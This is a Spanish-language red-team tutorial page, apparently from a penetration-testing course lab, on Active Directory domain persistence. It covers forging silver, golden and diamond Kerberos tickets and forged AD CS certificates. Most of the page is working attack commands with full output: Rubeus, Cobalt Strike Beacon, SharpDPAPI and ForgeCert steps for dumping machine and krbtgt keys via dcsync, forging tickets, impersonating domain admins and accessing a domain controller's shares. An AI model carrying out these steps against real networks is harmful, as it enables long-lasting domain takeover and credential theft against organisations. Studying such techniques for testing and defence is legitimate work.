Saltar a contenido

Domain Dominance

Domain Dominance

Una vez que un atacante logra un nivel muy alto de privilegio en el dominio, como Domain o Enterprise Admin, es muy difícil para una organización defensora recuperarse o incluso considerar el bosque como "limpio" nuevamente. Los atacantes con este acceso pueden extraer material de credenciales del dominio y usarlo para volver a obtener acceso a nivel DA en cualquier momento. La mayoría de estas credenciales nunca se cambian, lo que otorga acceso prácticamente ilimitado.

Si alguna vez has visto este chiste antes, bueno... es cierto.


Silver Tickets

Un "silver ticket" es un ticket de servicio falsificado, firmado utilizando el material secreto (claves RC4/AES) de una cuenta de computadora. Puedes falsificar un TGS para cualquier usuario a cualquier servicio en esa máquina, lo cual es útil para persistencia a corto/medio plazo. Por defecto, las contraseñas de las computadoras cambian cada 30 días, momento en el cual debes volver a obtener los nuevos secretos para continuar creando silver tickets. Tanto los silver como los golden tickets (que se verán a continuación) son falsificados, por lo que pueden ser generados en tu propia máquina e importados en tu sesión de Beacon para su uso.

Supongamos que extraemos claves Kerberos desde Workstation 1 desde un Beacon con privilegios SYSTEM.

Session           : Service from 0
User Name         : WKSTN-1$
Domain            : DEV
Logon Server      : (null)
Logon Time        : 10/17/2023 10:31:24 AM
SID               : S-1-5-20

     * Username : wkstn-1$
     * Domain   : DEV.CYBERBOTIC.IO
     * Password : (null)
     * Key List :
       des_cbc_md4       3ad3ca5c512dd138e3917b0848ed09399c4bbe19e83efe661649aa3adf2cb98f
       des_cbc_md4       5192c07ee06e9264f0a7d7af5e645448
       des_cbc_md4       5192c07ee06e9264f0a7d7af5e645448
       des_cbc_md4       5192c07ee06e9264f0a7d7af5e645448
       des_cbc_md4       5192c07ee06e9264f0a7d7af5e645448
       des_cbc_md4       5192c07ee06e9264f0a7d7af5e645448

En tu máquina atacante con Windows, utiliza Rubeus para falsificar un ticket de servicio para nlamb y el servicio CIFS.

PS C:\Users\Attacker> C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe silver /service:cifs/wkstn-1.dev.cyberbotic.io /aes256:3ad3ca5c512dd138e3917b0848ed09399c4bbe19e83efe661649aa3adf2cb98f /user:nlamb /domain:dev.cyberbotic.io /sid:S-1-5-21-569305411-121244042-2357301523 /nowrap

[*] Action: Build TGS

[*] Building PAC

[*] Domain         : DEV.CYBERBOTIC.IO (DEV)
[*] SID            : S-1-5-21-569305411-121244042-2357301523
[*] UserId         : 500
[*] Groups         : 520,512,513,519,518
[*] ServiceKey     : C9E598CD2A9B08FE31936F2C1846A8365D85147F75B8000CBC90E3C9DE50FCC7
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey         : C9E598CD2A9B08FE31936F2C1846A8365D85147F75B8000CBC90E3C9DE50FCC7
[*] KDCKeyType     : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service        : cifs
[*] Target         : wkstn-1.dev.cyberbotic.io

[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGS for 'nlamb' to 'cifs/wkstn-1.dev.cyberbotic.io'

[*] AuthTime       : 9/9/2022 10:49:41 AM
[*] StartTime      : 9/9/2022 10:49:41 AM
[*] EndTime        : 9/9/2022 8:49:41 PM
[*] RenewTill      : 9/16/2022 10:49:41 AM

[*] base64(ticket.kirbi):

      doIFXD[...]MuaW8=

Luego importa el ticket.

beacon> getuid
[*] You are DEV\bfarmer (admin)

beacon> ls \\wkstn-1.dev.cyberbotic.io\c$
[-] could not open \\wkstn-1.dev.cyberbotic.io\c$\*: 5 - ERROR_ACCESS_DENIED

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIFXD[...]MuaW8=

[*] Using DEV\nlamb:FakePass

[*] Showing process : False
[*] Username        : nlamb
[*] Domain          : DEV
[*] Password        : FakePass

[+] Process         : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID       : 5668
[+] Ticket successfully imported!
[+] LUID            : 0x423091

beacon> steal_token 5668
[+] Impersonated DEV\bfarmer

beacon> ls \\wkstn-1.dev.cyberbotic.io\c$
[*] Listing: \\wkstn-1.dev.cyberbotic.io\c$\


 Size     Type    Last Modified         Name
 ----     ----    -------------         ----
          dir     08/16/2022 08:17:30   $Recycle.Bin
          dir     08/15/2022 22:22:31   $WinREAgent
          dir     01/27/2022 18:18:49   Documents and Settings
          dir     12/07/2019 09:14:52   PerfLogs
          dir     08/22/2022 00:15:03   Program Files
          dir     10/06/2021 13:57:25   Program Files (x86)
          dir     09/08/2022 13:58:46   ProgramData
          dir     08/17/2022 17:52:54   Recovery
          dir     09/06/2022 08:17:28   System Volume Information
          dir     08/16/2022 08:15:58   Users
          dir     09/09/2022 10:38:50   Windows
 8kb      fil     09/09/2022 08:37:00   DumpStack.log.tmp
 796mb    fil     09/09/2022 08:37:00   hiberfil.sys
 704mb    fil     09/09/2022 08:37:00   pagefile.sys
 16mb     fil     09/09/2022 08:37:00   swapfile.sys

Aquí tienes algunas combinaciones útiles de tickets.

Technique Required Service Tickets
psexec HOST & CIFS
winrm HOST & HTTP
dcsync (DCs only) LDAP

Golden Tickets

Un "golden ticket" es un TGT falsificado, firmado por la cuenta krbtgt del dominio. Mientras que un silver ticket puede ser utilizado para hacerse pasar por cualquier usuario, está limitado ya sea a ese único servicio o a cualquier servicio pero en una sola máquina. Un golden ticket puede ser utilizado para hacerse pasar por cualquier usuario, en cualquier servicio, en cualquier máquina del dominio; y para empeorar las cosas, las credenciales subyacentes nunca se cambian automáticamente. Por esa razón, el hash NTLM/AES de krbtgt es probablemente el secreto más poderoso que puedes obtener (y es por eso que se utiliza con tanta frecuencia en los ejemplos de dcsync).

Un método común para obtener el hash de krbtgt es utilizar dcsync desde el contexto de un domain admin.

beacon> dcsync dev.cyberbotic.io DEV\krbtgt

* Primary:Kerberos-Newer-Keys *
    Default Salt : DEV.CYBERBOTIC.IOkrbtgt
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 51d7f328ade26e9f785fd7eee191265ebc87c01a4790a7f38fb52e06563d4e7e
      aes128_hmac       (4096) : 6fb62ed56c7de778ca5e4fe6da6d3aca
      des_cbc_md5       (4096) : 629189372a372fda

El ticket puede ser falsificado offline utilizando Rubeus.

PS C:\Users\Attacker> C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe golden /aes256:51d7f328ade26e9f785fd7eee191265ebc87c01a4790a7f38fb52e06563d4e7e /user:nlamb /domain:dev.cyberbotic.io /sid:S-1-5-21-569305411-121244042-2357301523 /nowrap

[*] Action: Build TGT

[*] Building PAC

[*] Domain         : DEV.CYBERBOTIC.IO (DEV)
[*] SID            : S-1-5-21-569305411-121244042-2357301523
[*] UserId         : 500
[*] Groups         : 520,512,513,519,518
[*] ServiceKey     : 51D7F328ADE26E9F785FD7EEE191265EBC87C01A4790A7F38FB52E06563D4E7E
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey         : 51D7F328ADE26E9F785FD7EEE191265EBC87C01A4790A7F38FB52E06563D4E7E
[*] KDCKeyType     : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service        : krbtgt
[*] Target         : dev.cyberbotic.io

[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for 'nlamb@dev.cyberbotic.io'

[*] AuthTime       : 9/9/2022 11:16:23 AM
[*] StartTime      : 9/9/2022 11:16:23 AM
[*] EndTime        : 9/9/2022 9:16:23 PM
[*] RenewTill      : 9/16/2022 11:16:23 AM

[*] base64(ticket.kirbi):

     doIFLz[...]MuaW8=

Y luego importado en una sesión de inicio de sesión para su uso.

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIFLz[...snip...]MuaW8=

[*] Using DEV\nlamb:FakePass

[*] Showing process : False
[*] Username        : nlamb
[*] Domain          : DEV
[*] Password        : FakePass
[+] Process         : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID       : 5060
[+] Ticket successfully imported!
[+] LUID            : 0x449047

beacon> steal_token 5060
beacon> run klist

#0> Client: nlamb @ DEV.CYBERBOTIC.IO
    Server: krbtgt/dev.cyberbotic.io @ DEV.CYBERBOTIC.IO
    KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96

beacon> ls \\dc-2.dev.cyberbotic.io\c$
[*] Listing: \\dc-2.dev.cyberbotic.io\c$\

 Size     Type    Last Modified         Name
 ----     ----    -------------         ----
          dir     08/15/2022 15:44:08   $Recycle.Bin
          dir     08/10/2022 04:55:17   $WinREAgent
          dir     08/10/2022 05:05:53   Boot
          dir     08/18/2021 23:34:55   Documents and Settings
          dir     08/19/2021 06:24:49   EFI
          dir     08/15/2022 16:09:55   inetpub
          dir     05/08/2021 08:20:24   PerfLogs
          dir     08/24/2022 10:51:51   Program Files
          dir     08/10/2022 04:06:16   Program Files (x86)
          dir     09/05/2022 17:17:48   ProgramData
          dir     08/15/2022 15:23:23   Recovery
          dir     08/16/2022 12:37:38   Shares
          dir     09/05/2022 12:03:43   System Volume Information
          dir     08/15/2022 15:24:39   Users
          dir     09/06/2022 15:21:25   Windows
 427kb    fil     08/10/2022 05:00:07   bootmgr
 1b       fil     05/08/2021 08:14:33   BOOTNXT
 1kb      fil     08/15/2022 16:16:13   dc-2.dev.cyberbotic.io_sub-ca.req
 12kb     fil     09/05/2022 07:25:58   DumpStack.log
 12kb     fil     09/09/2022 09:36:12   DumpStack.log.tmp
 384mb    fil     09/09/2022 09:36:12   pagefile.sys

Diamond Tickets

Al igual que un golden ticket, un diamond ticket es un TGT que puede ser utilizado para acceder a cualquier servicio como cualquier usuario. Un golden ticket se falsifica completamente offline, se cifra con el hash de krbtgt de ese dominio y luego se pasa a una sesión de inicio de sesión para su uso. Debido a que los controladores de dominio no rastrean los TGTs que han emitido legítimamente, aceptarán felizmente TGTs que estén cifrados con su propio hash de krbtgt.

Por lo tanto, una táctica posible para detectar el uso de golden tickets es buscar TGS-REQs que no tengan un AS-REQ correspondiente. Un "diamond ticket" se crea modificando los campos de un TGT legítimo emitido por un DC. Esto se logra solicitando un TGT, descifrándolo con el hash de krbtgt del dominio, modificando los campos deseados del ticket y luego volviéndolo a cifrar. Esto supera la limitación mencionada anteriormente de un golden ticket porque cualquier TGS-REQ tendrá un AS-REQ precedente.

Primero, probamos que no tenemos acceso al DC.

beacon> getuid
[*] You are DEV\bfarmer

beacon> ls \\dc-2.dev.cyberbotic.io\c$
[-] could not open \\dc-2.dev.cyberbotic.io\c$\*: 5 - ERROR_ACCESS_DENIED

Los diamond tickets pueden ser creados con Rubeus.

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe diamond /tgtdeleg /ticketuser:nlamb /ticketuserid:1106 /groups:512 /krbkey:51d7f328ade26e9f785fd7eee191265ebc87c01a4790a7f38fb52e06563d4e7e /nowrap

donde:

  • /tgtdeleg utiliza el Kerberos GSS-API para obtener un TGT utilizable para el usuario actual sin necesidad de conocer su contraseña, hash NTLM/AES o elevación en el host.
  • /ticketuser es el nombre de usuario del usuario a suplantar.
  • /ticketuserid es el RID de dominio de ese usuario.
  • /groups son los RIDs de grupo deseados (512 siendo Domain Admins).
  • /krbkey es el hash AES256 de krbtgt.
[*] Action: Diamond Ticket

[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/dc-2.dev.cyberbotic.io'
[+] Kerberos GSS-API initialization success!
[+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[*] Extracted the service ticket session key from the ticket cache: +mzV4aOvQx3/dpZGBaVEhccq1t+jhKi8oeCYXkjHXw4=
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):

      doIFgz [...snip...] MuSU8=

[*] Decrypting TGT
[*] Retreiving PAC
[*] Modifying PAC
[*] Signing PAC
[*] Encrypting Modified TGT

[*] base64(ticket.kirbi):

      doIFYj [...snip...] MuSU8=

Rubeus describe ahora mostrará que este es un TGT para el usuario objetivo.

PS C:\Users\Attacker> C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe describe /ticket:doIFYj[...snip...]MuSU8=

[*] Action: Describe Ticket

  ServiceName              :  krbtgt/DEV.CYBERBOTIC.IO
  ServiceRealm             :  DEV.CYBERBOTIC.IO
  UserName                 :  nlamb
  UserRealm                :  DEV.CYBERBOTIC.IO
  StartTime                :  7/7/2022 8:41:46 AM
  EndTime                  :  7/7/2022 6:41:46 PM
  RenewTill                :  1/1/1970 12:00:00 AM
  Flags                    :  name_canonicalize, pre_authent, forwarded, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  jp4k3G5LvXpIl3cuAnTtgLuxOWkPJIUjOEZB5wrHdVw=

Forged Certificates

En organizaciones grandes, los roles de AD CS están instalados en servidores separados y no en los domain controllers (DC) propiamente dichos. Muchas veces, tampoco se tratan con la misma sensibilidad que los DCs. Por lo tanto, mientras que solo los Enterprise Admins (EAs) y Domain Admins (DAs) pueden acceder/gestionar los DCs, roles de "nivel inferior" como los administradores de servidores pueden acceder a los CAs. Aunque esto puede verse como una escalación de privilegios, es igual de útil como un método de persistencia en el dominio.

Obtener acceso como administrador local a un CA permite a un atacante extraer la clave privada del CA, la cual puede ser utilizada para firmar un certificado falsificado (piénsalo como el hash de krbtgt siendo capaz de firmar un TGT falsificado). El período de validez predeterminado para una clave privada de CA es de 5 años, pero esto puede configurarse a cualquier valor durante la instalación, a veces hasta 10 años o más.

Una vez dentro de un CA, SharpDPAPI puede extraer las claves privadas.

beacon> run hostname
dc-2

beacon> getuid
[*] You are NT AUTHORITY\SYSTEM (admin)


beacon> execute-assembly C:\Tools\SharpDPAPI\SharpDPAPI\bin\Release\SharpDPAPI.exe certificates /machine

Guarda la clave privada y el certificado en un archivo .pem y conviértelo a un .pfx con openssl. Luego, construye el certificado falsificado con ForgeCert.

PS C:\Users\Attacker> C:\Tools\ForgeCert\ForgeCert\bin\Release\ForgeCert.exe --CaCertPath .\Desktop\sub-ca.pfx --CaCertPassword pass123 --Subject "CN=User" --SubjectAltName "nlamb@cyberbotic.io" --NewCertPath .\Desktop\fake.pfx --NewCertPassword pass123
CA Certificate Information:
  Subject:        CN=sub-ca, DC=dev, DC=cyberbotic, DC=io
  Issuer:         CN=ca, DC=cyberbotic, DC=io
  Start Date:     8/15/2022 4:06:13 PM
  End Date:       8/15/2024 4:16:13 PM
  Thumbprint:     697B1C2CD65B2ADC80C3D0CE83A6FB889B0CA08E
  Serial:         13000000046EF818036CF8C99F000000000004

Forged Certificate Information:
  Subject:        CN=User
  SubjectAltName: nlamb@cyberbotic.io
  Issuer:         CN=sub-ca, DC=dev, DC=cyberbotic, DC=io
  Start Date:     10/5/2022 1:24:23 PM
  End Date:       10/5/2023 1:24:23 PM
  Thumbprint:     0CF404F5D1534854BA5EDEC5953ED7B7BE96C3A8
  Serial:         00978D5E506AE605589E43F21D17E56671

Done. Saved forged certificate to .\Desktop\fake.pfx with the password 'pass123'

Aunque puedes especificar cualquier SubjectAltName, el usuario debe estar presente en AD. Ahora podemos usar Rubeus para solicitar un TGT legítimo con este certificado falsificado.

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:nlamb /domain:dev.cyberbotic.io /enctype:aes256 /certificate:MIACAQ[...snip...]IEAAAA /password:pass123 /nowrap

No estamos limitados a falsificar certificados de usuario; podemos hacer lo mismo para máquinas. Combina esto con el truco S4U2self para obtener acceso a cualquier máquina o servicio en el dominio.